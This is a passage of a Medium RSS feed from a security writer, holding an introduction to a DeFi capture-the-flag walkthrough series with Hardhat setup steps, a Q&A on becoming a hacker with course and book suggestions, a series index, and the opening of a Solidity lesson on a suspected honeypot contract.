href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdd3a5292a14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A-MAZE-X CTF Walkthrough| Part 0]]></title>
            <link>https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-0-d73338e6809?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/d73338e6809</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Wed, 21 Sep 2022 23:47:09 GMT</pubDate>
            <atom:updated>2022-10-11T14:31:25.442Z</atom:updated>
            <content:encoded><![CDATA[<h3>A-MAZE-X CTF Walkthrough | Part 0</h3><p><em>This post belongs to a series of articles dedicated to solving the DeFi challenges hosted by Secureum at Stanford University on the past 26 of August.</em></p><p><em>Additionally, this series is part of a greater series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security</em></a><em>.</em></p><figure><img alt="A-MAZE X CTF" src="https://cdn-images-1.medium.com/max/1024/1*4Ur84oDcMPtBvpKuSxmrFw.png" /><figcaption>Image extracted from LiveOverflow’s YT channel</figcaption></figure><h3>AMAZE-X CTF Walkthrough (<a href="https://github.com/mattaereal/DeFi-Security-Summit-Stanford">repo</a>)</h3><ol><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-0-d73338e6809">Intro to the series</a> — Part 0 (posted 21/09)</li><li><a href="https://medium.com/@mattaereal/amaze-x-ctf-walkthrough-part-i-cdd3a5292a14">Challenge0.VToken</a> — Part I (posted 22/09)</li><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-ii-c4d3dcc6f700">Challenge1.lenderpool</a> — Part II (posted 27/09)</li><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iii-dd8997b7b5bf">Challenge2.DEX</a> — Part III (posted 4/10)</li><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iv-last-407f5de236f8">Challenge3.borrow_system</a> — Part IV (posted 08/10)</li></ol><h3>Table of contents</h3><ol><li><a href="#8510">Introduction</a><br>1.1 <a href="#3102">Some context</a></li><li><a href="#1814">The CTF</a></li><li><a href="#9499">How to play</a><br><a href="#4d95">3.1 Solving a challenge (from the GitHub repo)</a><br>3.2 <a href="#85f1">Tips</a></li><li><a href="#cb78">My offer to you</a></li></ol><h3>Introduction</h3><p><em>Hi and welcome! The intention of the following articles is to share </em><strong><em>real</em></strong><em> </em><strong><em>personal</em></strong><em> </em><strong><em>experiences</em></strong><em> written in a way that it reads </em><strong><em>almost like a story</em></strong><em>, including all the mistakes I make along the road.</em></p><h4>Some context</h4><p>Last week I attended the second edition of the local convention called <strong>GEERS</strong>. It is targeted at blockchain curious that want to delve deeper into the technical side of the <strong>Ethereum</strong> ecosystem.</p><p>There I met <em>Alan Verbner</em>, Co-Founder y CTO of <em>Atix Lab</em>, a company recently acquired by <em>Globant</em>, and he mentioned something about a friend making a CTF for a workshop.</p><h3>The CTF</h3><p>The challenges that will discuss in this series were hosted on the past 25 of August by <em>Stanford University</em> as part of <a href="https://defisecuritysummit.org/defi-security-101/">Defi Security 101</a>, built by <a href="https://github.com/eugenioclrc"><strong>eugenioclrc</strong></a> and <a href="https://github.com/luksgrin"><strong>luksgrin</strong></a>.</p><blockquote><strong>Important note (by the authors)</strong></blockquote><blockquote>This set of challenges aren’t set for competitive purposes. Their main objective is to showcase scenarios involving DeFi, <em>Solidity</em> concepts and common vulnerabilities.</blockquote><blockquote>Focus on learning and having fun!</blockquote><h3>How to play</h3><p>At the moment of this writing, there are at least <a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford#how-to-play">6 different ways of playing</a>. I decided to pick the option where you <a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford/tree/hardhat/">run the challenges locally with Hardhat</a> 💛.</p><pre><strong>git</strong> <strong>clone</strong> git@github.com:eugenioclrc/DeFi-Security-Summit-Stanford.git<br><strong>cd</strong> DeFi-Security-Summit-Stanford<br><strong>git</strong> <strong>checkout</strong> hardhat<br><strong>yarn</strong></pre><h4>Solving a challenge (from the GitHub repo)</h4><p>Challenge contracts are located under the hardhat_flavor/contracts/ directory. Do not modify them, as it may lead to unexpected behaviors within the challenges.</p><p>To solve a challenge, you must do the following:</p><ul><li>Create an exploit contract(s) within the appropriate hardhat_flavor/contracts/exploits/ExploitX.sol file.</li><li>Complete the necessary JavaScript code (in the signalized area) within the appropriate hardhat_flavor/test/solveChallengeX.js file.</li></ul><p>Note that this procedure has to be done for each challenge.</p><p>Then, to check if the challenge has been solved, execute the following command</p><pre><strong>npx</strong> <strong>hardhat</strong> test test/solveChallengeX.js</pre><p>If the solution criteria have been reached, it shall display the following message</p><pre><strong>Solve Challenge X</strong><br>    ✔ Check if required condition has been met (XXXms)<br>  1 passing (XXXms)</pre><p>Alternatively, to check if all challenges have been solved, execute the following command:</p><pre><strong>npx</strong> <strong>hardhat</strong> test</pre><p>which will return the test results for all challenges in order.</p><h4>Tips</h4><p>If you checked out the repository you probably saw that besides the solutions for the challenges, which are provided in every flavor — in our case that would be <strong>Hardhat</strong> —, there are some tips for each exercise.</p><p>I suggest not looking at any of them and using them only as a last resource. And don&#39;t worry, I am going to mention the tips for each challenge eventually.</p><h3>My offer to you</h3><p>As I mentioned above, the approach I am going to use will be documenting the process as much as possible, even my wrong turns, but trying to be as brief as that can be in order to keep it entertained.</p><p>To ease the content on this occasion we will try to use as few tools as possible, and guess as many things as we can before diving in.</p><p>So… are you ready for the first challenge?</p><figure><img alt="Journey character render flying away to the next challenge" src="https://cdn-images-1.medium.com/max/400/1*1ShO81yWPP0nNwk2tXRI5A.png" /><figcaption>Render from Journey character by lugalque at DeviantArt</figcaption></figure><p>See you in the <a href="https://medium.com/@mattaereal/amaze-x-ctf-walkthrough-part-i-cdd3a5292a14">next post</a>! ➡️</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d73338e6809" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What's a computer hacker? and other popular questions]]></title>
            <link>https://medium.com/@mattaereal/whats-a-computer-hacker-and-other-popular-questions-c147b9a50f58?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/c147b9a50f58</guid>
            <category><![CDATA[motivational]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Tue, 20 Sep 2022 18:04:33 GMT</pubDate>
            <atom:updated>2022-09-20T20:40:13.578Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post is part of a series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security.</em></a></p><p>The following Q&amp;A is based on a <a href="https://github.com/mattaereal/seginfoFAQ">compilation</a> I did a few years ago. Its information has been gathered from repeated experiences speaking at universities, schools, and particularly from a <a href="https://www.youtube.com/watch?v=MnBL-Cw9O8w">panel I hosted with colleagues</a>.</p><p>It has been modified a bit to serve the purpose of the article. Though I speak about hacking, I will be mostly referring to a small part related to information security. The answers are nothing but a humble approach based on a previous consensus of opinions and my own experience. I hope you enjoy it.</p><blockquote>This is <strong>a gift</strong> for those who seek and can’t find answers to questions I have already provided to my younger self in the past, hoping <strong>you</strong> find it useful.</blockquote><blockquote>Feel free to submit feedback.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQq1eInexzADh9nlIF3Z6A.png" /><figcaption><a href="https://store.steampowered.com/app/638230/Journey/">Journey</a> game inspired cover.</figcaption></figure><h3>Table of contents</h3><ol><li><a href="#3561">What’s a hacker?</a></li><li><a href="#bdb5">What&#39;s not a hacker?</a></li><li><a href="#eeaf">I did not start younger, is it too late?</a></li><li><a href="#bb43">I want to hack, but where do I learn? How do I start?</a></li><li><a href="#ec64">Are certifications essential?</a></li><li><a href="#159c">Which is the best way to learn?</a></li><li><a href="#901f">What kind of profiles work in infosec?</a></li><li><a href="#526d">Why is offensive security more popular than defensive?</a></li><li><a href="#c514">Final thoughts</a><br> ∘ <a href="#ac3a">Suggestions</a><br> ∘ <a href="#8255">Suggested courses</a><br> ∘ <a href="#fea2">Key books</a><br> ∘ <a href="#e675">YouTube videos (and &quot;alternatives&quot; to the books)</a></li></ol><h3>1. What’s a hacker?</h3><p>As a Spanish speaker, if you casually check out what the <strong>Real Academia Española</strong> says about it, you will find two definitions:</p><ul><li>Computer pirate.</li><li>An expert in information technologies, in charge of systems security and developing improvement techniques.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-eG6B5p8Yiit33L8v3N5Q.png" /><figcaption>Google Translate</figcaption></figure><p>Though Wikipedia’s article is pretty fair and has a lot more information, I’d like to clarify that <strong>a hacker is NOT a pirate</strong>.</p><p>I understand <em>hacker</em>, as a term that is not explicitly talking about the information security field, but rather the ability to be able to find functionality in <em>things</em> that were not destined to do so originally, beyond any context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eQmqMbrNeDS75aCIk9JJew.png" /><figcaption>System functionality</figcaption></figure><p>In 2007 I was attending an Algebra class. The professor was having issues with the microphone. He excused himself, paused the class for a few seconds, approached the first row, and asked a student for the wrap from the chocolate she just ate — a Bonobon —.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/0*2vl9QUUsfc2m5IJF.jpg" /><figcaption>Picture of a Bonobon</figcaption></figure><p>He split apart the plastic foil from the aluminum, and used the last one to close the gap between the connectors and the batteries, troubleshooting the issue. He then thanked the student, and we stared in awe while he proceeded with his class as if nothing happened.</p><p>That&#39;s some <em>real</em> hacking over there.</p><ul><li><a href="https://www.youtube.com/watch?v=VPLCk-FTVvw"><strong>Jacob Collier</strong></a> <em>hacks </em>music.</li><li><a href="https://www.youtube.com/watch?v=VaMjhwFE1Zw"><strong>Wim Hof</strong></a> <em>hacks</em> the immune system.</li><li>The person who invented the concept of a <a href="https://docs.aave.com/faq/flash-loans"><strong>flash loan</strong></a> is a <em>hacker</em> to me.</li></ul><blockquote>What other examples can you think of where you or someone you know <em>hacked</em> something? Approached and thought at something different in this way?</blockquote><p>Ok great, but<strong> what&#39;s a computer hacker?</strong></p><p>Instead of trying to invent a new definition, I&#39;m going to point out the <a href="https://en.wikipedia.org/wiki/Hacker">Wikipedia article for it</a>, which I admit I&#39;m kind of positively surprised about it.</p><p><em>For this post, we will continue using the term </em><strong><em>hacking</em></strong><em> referring to </em><strong><em>computer hacking </em></strong>mostly.</p><h3>2. What&#39;s not a hacker?</h3><ul><li>A static profession where you could reach the end of the road.</li><li>Most of the things we see in the news and movies (definitely not <a href="https://www.youtube.com/watch?v=msX4oAXpvUE">four hands on a keyboard</a> nor malware whose purpose is to distract you <a href="https://www.youtube.com/watch?v=K7Hn1rPQouU">with kittens</a> 👀).</li><li>Gathering Facebook user credentials from the ex-partner of a friend 😵.</li></ul><h3>3. I did not start younger, is it too late?</h3><p>There’s no need to have hacked NASA when you were twelve to be able to dedicate to info sec the rest of your life. You don’t even need a solid background to start, nor even a particular age.</p><h3>4. I want to hack, but where do I learn? How do I start?</h3><p>The path is not clear, so don’t worry. Since this field of study is pretty new, there’s not a particular place to go to like there is for other roles where there is certain history.</p><p>Fortunately in the past few years, there has been an increase in resources: careers, courses, and training. On the other side, the amount of information we handle nowadays may seem overwhelming and can lead to misinformation, making you feel lost, not knowing what to choose or where to start.</p><p>Pick whatever feels comfortable to you, I suggest starting progressively on complicated matters from the beginning to avoid frustration (I may talk about this in another post). You will see that with every acquired knowledge you will start to see things clearly.</p><p>For example, every time I start to learn something new, I superficially gather information to make a road map, which I end up iterating A LOT before I finish. New knowledge sets for a different perspective.</p><p>I wouldn&#39;t dare to say that the ABC of hacking exists, well maybe it does and I don&#39;t know! Probably there are thousands of them! Depending on what you&#39;d like to do! Although I recognize there&#39;s some <em>core </em>knowledge nice to have in the field. Knowing how a computer works, and some basic network protocol understanding will always help.</p><p><strong><em>But</em></strong> there&#39;s no magic 6 months course that will give you the tools to cover <em>everything</em>. Yes, there are some courses, and careers, that can give you a general understanding which will help you to start to find and define this <em>own path</em> I was talking about.</p><p>In this path is where you will realize that to do software reverse engineering, you will need a basic understanding of programming languages, compilers, linkers, assemblers, and operating systems; that to be a great smart contracts auditor, you will <em>probably </em>need a general understanding of <em>some</em> network protocols, how blockchains work, EVM concepts, several programming languages, a basic understanding of cryptography, game theory, and <a href="https://roadmap.sh/blockchain">more</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*4bEA9NgaO_n2gFcanV7BSw.png" /><figcaption>Credits to @visuallywise</figcaption></figure><p>Thing is, you may not need to study all at once, it depends on the scope of every project. Besides, I suggest applying what you&#39;ve learned as soon as possible before it fades away. I wouldn&#39;t study applied math for a particular domain if I&#39;m not going to use it within the next months.</p><p>And this path will take the time it will need to take 😌.</p><h3>5. Are certifications essential?</h3><p>Huh. What a subject, am I right?</p><p>You see all these folks wearing suits on LinkedIn with <em>dozens</em> of certifications and you&#39;re wondering whether you&#39;ll eventually need them in your career path.</p><p>Truth is, most of the best security professionals I&#39;ve ever known don&#39;t have certifications (or at least they don&#39;t collect them as <a href="https://poap.xyz/"><strong>POAPs</strong></a>), only those who needed them were to be able to certify products for compliance reasons.</p><p>For example, if you somehow end up auditing a hospital, you&#39;ll probably need to be able to certify HIPAA; if you audit an e-gaming platform, you may have to be able to certify ISO 9001 and ISO 27001.</p><p><a href="https://en.wikipedia.org/wiki/List_of_computer_security_certifications">Certifications</a> do not teach you, they just are different mechanisms to validate what you know up to a certain moment.</p><p>In short, they are not necessary, nor a requirement to be able to learn.</p><p>If taking a certification makes you focus on your learning, then so be it. They may come in handy.</p><h3>6. Which is the best way to learn?</h3><p>It is important to differentiate the fact of <strong>learning something</strong> versus the <strong>ability to apply</strong> <em>that</em> <strong>something</strong>.</p><p>What is clear is that you could do this wherever: college, university, preparing for a certification, reading from articles, or just experimenting, whatever works for you.</p><p>Infosec is versatile field with continuous growth where no profile is amiss.</p><p>If you feel the institution where you are at is not working anymore, don&#39;t waste energy blaming it or those who teach, seek elsewhere. If you feel the need for structure because you can&#39;t work alone, go to a Uni (school, college, or whatever). If you feel both those paths are not useful, keep searching, you will undoubtedly get there, and maybe you&#39;ll create a trail for others looking for a similar direction.</p><h3>7. What kind of profiles work in infosec?</h3><p>Academics, doctorates, post-doctorates, University/College drop-outs, people who never set afoot on an institution, and more.</p><p>Diversity, in general, is something that positively benefits teamwork. The more diversity, the more different points of view and perspectives you can bring to the table. And let&#39;s be honest, hacking is all about that, having the ability to see things with a different mindset.</p><p>Talking about specific roles or positions, there could be as many roles as domains in the field. There are sites that help you visualize what I&#39;m talking about, like <a href="https://www.cyberseek.org/pathway.html">CyberSeek&#39;s pathway</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ABwzhKoJjSoUP37Z" /><figcaption>Cyber Security Domains by Henry Jiang</figcaption></figure><p>You can always look for open positions on any <em>job hunting</em> platform like LinkedIn, and check out current roles for cyber security domains and their descriptions.</p><h3>8. Why is offensive security more popular than defensive?</h3><p>Generally speaking: to attack is more entertaining than to defend, and to defend is way more difficult than to attack. It may be a popular belief, but <em>I think</em> this has changed quite recently.</p><p>Developing defense techniques is incredible more complex, you may have to try to anticipate and cover EVERY possible attack. And attacking just requires you to be able to succeed only to THAT particular defense. The level of difficulty is conditioned by that asymmetry.</p><h3>9. Final thoughts</h3><p>Each and everyone walks their path, there is no <em>unique</em> way of doing things. This is still new for everyone. You will have to take decisions based on your particular <em>current</em> situation to improve.</p><p>We have to understand that not everyone comes with this craving, this passion that drives some of the best, but you can cultivate curiosity as fuel, testing, searching, and experimenting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*J0hrZctzMr__6L6sHuN-Qw.png" /><figcaption>Credits to @visuallywise</figcaption></figure><h4>Suggestions</h4><ul><li>Start progressively. Don&#39;t fret, we were all there, and that thing that is making you feel stuck will eventually work. You&#39;ll get there :)</li><li>Do not compare yourself to others, it does not make sense. Just compare yourself with whom you&#39;ve been before, just a few months ago will do. And if you see improvement, then you&#39;re on the right track.</li><li>Learn languages, particularly English if you&#39;re reading this with a translator, given that most of the information we have learned is in it.</li><li>Do not delegate the responsibility to learn to others (family, institutions, superiors, mentors), that&#39;s on you. Look for whatever works for you, and if something doesn&#39;t, you change it until it does.</li><li>Know yourself. Understand how you better digest information, what makes you want to study more: is it studying at home? attending to events? going to college? a community maybe? whatever it is that does it for you.</li></ul><h4>Suggested courses</h4><ul><li><a href="https://pwn.college/">Pwn College</a> 👍</li><li><a href="https://online.stanford.edu/explore?type=All&amp;topics%5B1043%5D=1043&amp;topics%5B1050%5D=1050&amp;topics%5B1048%5D=1048&amp;topics%5B1072%5D=1072&amp;topics%5B1045%5D=1045&amp;topics%5B1042%5D=1042&amp;topics%5B1046%5D=1046&amp;topics%5B1044%5D=1044&amp;topics%5B1055%5D=1055&amp;topics%5B1071%5D=1071&amp;free_or_paid%5Bfree%5D=free">Stanford: Online free courses</a></li><li><a href="https://www.coursera.org/specializations/cyber-security">Coursera: Cyber Security specialization</a></li><li><a href="https://ekoparty.org/">Ekoparty:</a> <a href="https://hackademy.ekoparty.org/">Hackademy</a> (ES)</li></ul><h4>Key books</h4><ul><li><strong>The Art of Software Security Assessment</strong>: Identifying and Preventing Software Vulnerabilities — <em>Mark Dowd</em></li><li><strong>Operating System Concepts Essentials </strong>— <em>Abraham Silberschatz, Peter B. Galvin, Greg Gagne</em></li><li><strong>Computer Networks</strong> —<em> Andrew S. Tanenbaum</em></li></ul><h4><strong>YouTube videos (and &quot;alternatives&quot; to the books)</strong></h4><ul><li><a href="https://www.youtube.com/watch?v=zN8YNNHcaZc"><strong>How does the internet work? </strong></a>—<em> by Ian Frost on FreeCodeCamp</em></li><li><a href="https://www.youtube.com/watch?v=MHPGeQD8TvI"><strong>How I would learn to code (if I could start over)</strong></a><strong> 👍</strong> — <em>by </em><a href="https://www.youtube.com/c/TinaHuang1"><em>Tina Huang</em></a></li><li><a href="https://www.youtube.com/watch?v=zOjov-2OZ0E"><strong>Introduction to Programming and Computer Science</strong></a> — <em>by Steven and Sean from </em><a href="https://www.youtube.com/channel/UCmWDlvMYYEbW42B8JyxFBcA"><em>NullPointer Exception</em></a></li><li><strong>From Nand to Tetris </strong><a href="https://www.youtube.com/watch?v=LqirVc5SlW0&amp;list=PLrDd_kMiAuNmSb-CKWQqq9oBFN_KNMTaI"><strong>Part I</strong></a><strong> &amp; </strong><a href="https://www.youtube.com/watch?v=KBTg0ju4rxM&amp;list=PLrDd_kMiAuNmllp9vuPqCuttC1XL9VyVh"><strong>Part II </strong></a><strong>👍</strong> — <em>by Noam Nisan and Shimon</em> <em>Schocken</em></li><li><a href="https://www.youtube.com/watch?v=qAFI-2I7wPE&amp;list=PLoCMsyE1cvdWKsLVyf6cPwCLDIZnOj0NS&amp;index=3"><strong>Computer Networks (CS144)</strong></a> — <em>by</em> <em>Stanford University</em></li><li><a href="https://www.youtube.com/watch?v=qiQR5rTSshw"><strong>Computer Networking Course</strong> — Network Engineering </a>— <em>by Brian Ferrill, an instructor at Edmonds Community College</em> <em>on</em> <em>FreeCodeCamp</em></li><li><a href="https://www.youtube.com/watch?v=zJTqTs7Ujr8&amp;list=PLW1yb8L3S1ngGmtKlI5XYcTNQQ1r3xZvq&amp;index=2"><strong>Fundamentals of Operating Systems</strong></a> (based on Operating System Concepts 10th edition) — <em>by Mitch Davis from University of Mobile</em></li><li><a href="https://www.youtube.com/watch?v=vBURTt97EkA&amp;list=PLBlnK6fEyqRiVhbXDGLXDk_OQAeuVcp2O"><strong>Introduction to Operating Systems</strong></a> — <em>by</em> <em>Neso Academy</em></li></ul><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c147b9a50f58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A journey into smart contract security]]></title>
            <link>https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/3115ff480f28</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Tue, 20 Sep 2022 17:47:07 GMT</pubDate>
            <atom:updated>2022-12-08T17:01:31.549Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Easy-to-follow security content through personal experiences.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mw8RU-R5Jn7yTl9HzEsvTw.png" /><figcaption>Inspiration from <a href="https://store.steampowered.com/app/638230/Journey/">Journey</a> the game.</figcaption></figure><p>Hi! My name is <strong>Matt</strong> and I&#39;m, <em>among other things,</em> an information <strong>security-</strong><em>focused</em> <strong>professional. </strong>This means that regardless of the domain I&#39;m currently working in, I&#39;m <strong>always vouching for security</strong>.</p><p>I <em>sometimes</em> introduce myself as a <strong>hacker</strong> too.</p><p>My journey in the <em>infosec</em> field started more than 15 years ago as a script kiddie, cheating in games. I still remember cracking our family&#39;s dial-up login password using <strong>Brutus</strong>, to be able to<strong> </strong>keep playing <strong>Argentum Online</strong>.</p><p>Years later I ended up creating and participating in several hacking communities, one of them that changed my life completely, and others that still exist to this day... but that&#39;s a story for another time.</p><p>My professional career started in 2010 and I have been working on all different kinds of topics: penetration testing and red teaming, a little bit of reverse engineering, secure development, research and management. But something that <strong>prevailed</strong> was my connection with <strong>community building</strong> and <strong>education</strong>.</p><p>Fortunately, on many occasions I had the opportunity to work delivering courses, training, workshops, talks, and mentoring newbies.</p><p>The two top questions I got asked the most from <em>wannabe</em> <em>hackers</em> were <strong>“how can I become a hacker?”</strong>, and <strong>“is there a way I can learn to think like one?”</strong>.</p><p>The short answer is: <strong>Yes, you can.</strong></p><p>The long answer is a little bit more complicated.</p><h3>My motivation</h3><p>I don&#39;t think there&#39;s a path that leads you to say: <br> — “Oh shit, I think I might just reached HACKER LEVEL”.</p><blockquote>In my article <a href="https://medium.com/@mattaereal/whats-a-computer-hacker-and-other-popular-questions-c147b9a50f58">What is a computer hacker? and other popular questions</a>, I give practical advice and resources I wish I had when I was starting.</blockquote><p>But there are some things that you could do to shape your mind to be able to look at things differently. Rather than explaining them and failing miserably, I figured I could try to show what my learning process looks like, in a practical manner, while I reintroduce myself to <strong>Ethereum</strong> security.</p><p>Tired of looking for other’s learning processes mainly to find <em>“SUPER ULTIMATE CHECKLIST v2.1”</em>, <em>“BEST SECURITY TOOLS”</em>, or educational write-ups of exploits without context whatsoever, <strong>I decided to document my own, and share it </strong>as a series of articles.</p><p><em>This series is targeted to everyone who is familiar with Ethereum, is looking to add some key security concepts to their skill set, or maybe just have some fun.</em></p><p><em>Beyond telling my own experience, in each article I will leave open questions and recommended material to continue exploring by yourselves </em>💭<em>.</em></p><p><em>Hope you enjoy my humble knowledge.</em></p><h3>Content from this series</h3><h4><a href="http://bit.ly/mattaSecList">My current road-map ⭐️</a>— huge curated list of content.</h4><h4>General reading</h4><ul><li><a href="https://medium.com/@mattaereal/whats-a-computer-hacker-and-other-popular-questions-c147b9a50f58">What is a computer hacker? and other popular questions</a></li></ul><h4>Short lessons</h4><ul><li><a href="https://medium.com/@mattaereal/jackpot-or-honeypot-a-quick-lesson-on-solcs-uint-and-function-selectors-cc1ea7f6afce">Jackpot or Honeypot? A quick lesson on <strong>solc</strong>’s <strong>uint</strong> and function selectors</a></li></ul><h4>AMAZE-X CTF Walkthrough (<a href="https://github.com/mattaereal/DeFi-Security-Summit-Stanford">repository</a>)</h4><ol><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-0-d73338e6809">Intro to the series</a> — Part 0 (posted 21/09)</li><li><a href="https://medium.com/@mattaereal/amaze-x-ctf-walkthrough-part-i-cdd3a5292a14">Challenge0.VToken</a> — Part I (posted 22/09)</li><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-ii-c4d3dcc6f700">Challenge1.lenderpool</a> — Part II (posted 27/09)</li><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iii-dd8997b7b5bf">Challenge2.DEX</a> — Part III (posted 4/10)</li><li><a href="https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iv-last-407f5de236f8">Challenge3.borrow_system</a> — Part IV (posted 08/10)</li></ol><h4>EVM Puzzles</h4><ol><li><a href="https://medium.com/@mattaereal/solving-more-evm-puzzles-differently-part-i-170f2516b88d">Solving EVM puzzles differently? | Part 1</a></li><li><a href="https://medium.com/@mattaereal/solving-more-evm-puzzles-differently-part-ii-c0bd900d19d8">Solving EVM puzzles differently? | Part II</a></li><li><a href="https://medium.com/@mattaereal/yet-another-evm-puzzle-787c83b67a75">Yet another EVM puzzle</a></li><li>Yet another EVM puzzle solutions (pending)</li></ol><p><em>I would like to thank </em><a href="http://twitter.com//tinchoabbate"><em>@tinchoabbate</em></a><em> for proofreading some of the articles and encouraging me to pursue my own writing style.</em></p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3115ff480f28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Jackpot or Honeypot? A quick lesson on solc's uint and function selectors]]></title>
            <link>https://medium.com/@mattaereal/jackpot-or-honeypot-a-quick-lesson-on-solcs-uint-and-function-selectors-cc1ea7f6afce?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc1ea7f6afce</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[evm]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Mon, 19 Sep 2022 23:05:08 GMT</pubDate>
            <atom:updated>2022-09-20T17:48:15.096Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This article belongs to a greater series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security</em></a><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*2tbMkiP5XmU0PtXjXc5_lg.png" /><figcaption>Oven function selector from Ebay</figcaption></figure><h3>Introduction</h3><p>A few days ago I was casually browsing Twitter, and I saw <a href="https://medium.com/u/2e82cbb1891e">StErMi</a> talk about the following challenge posted by <strong>0xOptimum</strong>.</p><h3>Optimum on Twitter: &quot;Jackpot or a honeypot? Can you spot the bug here ? pic.twitter.com/ivzGp3h4JH / Twitter&quot;</h3><p>Jackpot or a honeypot? Can you spot the bug here ? pic.twitter.com/ivzGp3h4JH</p><p>Despite a typo in the constructor, the rest of the code seems pretty legit, right? I&#39;ll leave you the code below so you can take a look.</p><p><em>Note: If you want to skip all the explanations and explore the conclusion by yourself, I have created </em><a href="https://github.com/mattaereal/jackpot-or-honeypot"><em>a repository with comments and a test.</em></a></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/38cb9499e09995579b88f2c50f4160ba/href">https://medium.com/media/38cb9499e09995579b88f2c50f4160ba/href</a></iframe><h3>Where&#39;s the catch?</h3><p><em>— Did you see something funny?<br> — Is there some part of the code that can be prone to errors? </em>💭</p><p>If you are wondering why didn&#39;t <strong>JackpotProxy</strong> <strong>claimPrize()</strong> function didn&#39;t look similar to the one below, I was wondering the same thing. Also, you have found the place where to look for.</p><pre><strong>function</strong> claimPrizeSafe(Jackpot <em>jackpot</em>) <strong>external</strong> <strong>payable</strong> {</pre><pre>    <strong>uint256</strong> amount = <strong>msg.value</strong>;</pre><pre>    <strong>require</strong>(amount &gt; 0, “zero deposit”);</pre><pre>    <em>jackpot</em>.claimPrize{value: amount}(amount);</pre><pre>    <strong>payable</strong>(<strong>msg.sender</strong>).transfer(<strong>address(this)</strong>.balance);</pre><pre>}</pre><h3>Some 